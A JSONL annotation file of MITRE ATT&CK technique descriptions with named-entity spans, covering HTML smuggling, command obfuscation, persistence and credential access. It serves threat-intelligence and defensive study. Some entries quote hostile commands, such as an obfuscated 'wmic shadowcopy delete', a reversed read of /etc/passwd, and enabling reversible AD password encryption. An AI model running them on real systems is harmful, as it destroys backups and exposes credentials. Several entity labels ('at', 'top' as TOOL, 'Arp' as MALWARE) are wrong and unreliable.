{"text": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.", "spans": {"SYSTEM: JavaScript": [[183, 193], [606, 616], [991, 1001], [1160, 1170], [1291, 1301]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.006"}}
{"text": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher. In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.", "spans": {"SYSTEM: Active Directory": [[23, 39], [778, 794]], "SYSTEM: Windows": [[110, 117]], "SYSTEM: Access": [[1035, 1041]], "TOOL: at": [[1262, 1264]], "SYSTEM: Group Policy": [[1294, 1306]], "TOOL: PowerShell": [[1396, 1406], [1568, 1578]], "SYSTEM: Windows Server 2008": [[1533, 1552]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.005"}}
{"text": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality. Many languages support built-in obfuscation in the form of base64 or URL encoding. Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.", "spans": {"FILEPATH: /tmp/:&$NiA": [[901, 912]], "FILEPATH: C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe": [[1150, 1236]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.010"}}
{"text": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples of built-in Command and Scripting Interpreter functions include <code>del</code> on Windows, <code>rm</code> or <code>unlink</code> on Linux and macOS, and `rm` on ESXi.", "spans": {"SYSTEM: Windows": [[622, 629]], "SYSTEM: Linux": [[673, 678]], "SYSTEM: macOS": [[683, 688]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.004"}}
{"text": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.", "spans": {"SYSTEM: JavaScript": [[901, 911]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1189"}}
{"text": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see Endpoint Denial of Service.", "spans": {"SYSTEM: DNS": [[277, 280]], "TOOL: at": [[641, 643]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1498"}}
{"text": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. \n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a Trusted Relationship to execute commands in connected virtual machines.", "spans": {"SYSTEM: AWS": [[111, 114]], "SYSTEM: Azure": [[132, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1651"}}
{"text": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.", "spans": {"SYSTEM: macOS": [[937, 942]], "SYSTEM: Linux": [[1217, 1222]], "SYSTEM: Windows": [[1442, 1449]], "ORGANIZATION: Microsoft": [[1455, 1464]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.016"}}
{"text": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1595.001"}}
{"text": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.\n\nThis technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.", "spans": {"ORGANIZATION: Microsoft": [[144, 153]], "SYSTEM: Office": [[156, 162], [226, 232]], "SYSTEM: VBA": [[1129, 1132]], "SYSTEM: SMB": [[1852, 1855]], "SYSTEM: HTTPS": [[1856, 1861]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1221"}}
{"text": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution. Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems. As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts. To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.", "spans": {"SYSTEM: Unix": [[91, 95], [453, 457], [638, 642], [956, 960]], "TOOL: at": [[192, 194]], "FILEPATH: /etc/rc.local.d/local.sh`": [[851, 876]], "SYSTEM: Systemd": [[988, 995]], "SYSTEM: macOS": [[1072, 1077]], "SYSTEM: Ubuntu": [[1267, 1273]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037.004"}}
{"text": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "spans": {"SYSTEM: Windows": [[145, 152], [534, 541], [1250, 1257]], "SYSTEM: API": [[542, 545], [1258, 1261]], "SYSTEM: Active Directory": [[1402, 1418]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134"}}
{"text": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. \n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). \n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1111"}}
{"text": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code. \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", "spans": {"TOOL: UPX": [[638, 641]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.002"}}
{"text": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.", "spans": {"ORGANIZATION: Cloudflare": [[68, 78]], "SYSTEM: AWS": [[88, 91]], "SYSTEM: Lambda": [[92, 98]], "ORGANIZATION: Google": [[113, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.007"}}
{"text": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {"SYSTEM: HTTP": [[333, 337], [413, 417]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.001"}}
{"text": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).", "spans": {"SYSTEM: Visual Basic": [[22, 34], [443, 455]], "ORGANIZATION: Microsoft": [[95, 104]], "SYSTEM: Windows": [[137, 144], [220, 227], [772, 779]], "SYSTEM: Component Object Model": [[166, 188]], "SYSTEM: Native API": [[197, 207]], "SYSTEM: API": [[228, 231]], "SYSTEM: .NET": [[332, 336], [366, 370]], "SYSTEM: VBA": [[474, 477], [493, 496], [611, 614], [1115, 1118]], "SYSTEM: VBScript": [[483, 491], [728, 736], [939, 947], [1093, 1101]], "SYSTEM: Microsoft Office": [[548, 564]], "SYSTEM: JavaScript": [[819, 829]], "SYSTEM: Internet Explorer": [[875, 892]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.005"}}
{"text": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions. Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system. Adversaries may also fragment files across the existing file system structure in non-standard ways.", "spans": {"TOOL: top": [[1136, 1139]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.005"}}
{"text": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`). \n\nInside the `.service` unit files, the following directives are used to execute commands:  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem. \n\nThe `.service` file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. \n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., Boot or Logon Initialization Scripts).", "spans": {"SYSTEM: systemd": [[33, 40], [629, 636], [734, 741], [1522, 1529], [1813, 1820], [2004, 2011]], "SYSTEM: Systemd": [[115, 122], [263, 270], [447, 454], [1777, 1784], [1885, 1892]], "SYSTEM: Linux": [[323, 328]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.002"}}
{"text": "Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them  – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. \n\nFor example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device.\n\nHindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1668"}}
{"text": "Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.", "spans": {"ORGANIZATION: Microsoft": [[283, 292]], "TOOL: Remote Desktop Protocol": [[329, 352]], "TOOL: RDP": [[354, 357], [418, 421]], "SYSTEM: Windows": [[1050, 1057]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1563.002"}}
{"text": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1136"}}
{"text": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with Masquerading to blend malicious Autostart entries with legitimate programs.", "spans": {"TOOL: at": [[138, 140], [751, 753]], "SYSTEM: Linux": [[206, 211]], "FILEPATH: /etc/xdg/autostart`": [[906, 925]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.013"}}
{"text": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.004"}}
{"text": "Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses. In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. \n\nThis behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC). Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.\n\nAdversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication. Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts such as Phishing. They may also leverage email spoofing for Impersonation of legitimate external individuals and organizations, such as journalists and academics.", "spans": {"SYSTEM: Microsoft 365": [[1066, 1079]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1672"}}
{"text": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through Disable or Modify Tools or Disable or Modify Cloud Logs.", "spans": {"SYSTEM: Lambda": [[362, 368]], "SYSTEM: AWS": [[444, 447], [522, 525], [1083, 1086]], "SYSTEM: Microsoft Defender": [[462, 480]], "SYSTEM: CloudTrail": [[526, 536]], "SYSTEM: Google Cloud": [[541, 553]], "SYSTEM: Azure": [[670, 675], [728, 733], [1026, 1031]], "ORGANIZATION: Microsoft": [[704, 713]], "SYSTEM: API": [[720, 723], [751, 754]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1526"}}
{"text": "An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code.\n\nMalicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.\n\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy.\n\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.", "spans": {"SYSTEM: Windows": [[596, 603]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.004"}}
{"text": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  Ping, <code>net view</code> using Net, or, on ESXi servers, `esxcli network diag ping`.\n\nAdversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).", "spans": {"TOOL: Ping": [[332, 336]], "TOOL: Net": [[366, 369]], "TOOL: ping": [[413, 417]], "FILEPATH: C:\\Windows\\System32\\Drivers\\etc\\hosts": [[488, 525]], "FILEPATH: /etc/hosts": [[542, 552]], "MALWARE: Arp": [[599, 602]], "TOOL: arp": [[933, 936]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1018"}}
{"text": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.", "spans": {"SYSTEM: macOS": [[608, 613], [717, 722]], "TOOL: ssh": [[936, 939], [994, 997]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1046"}}
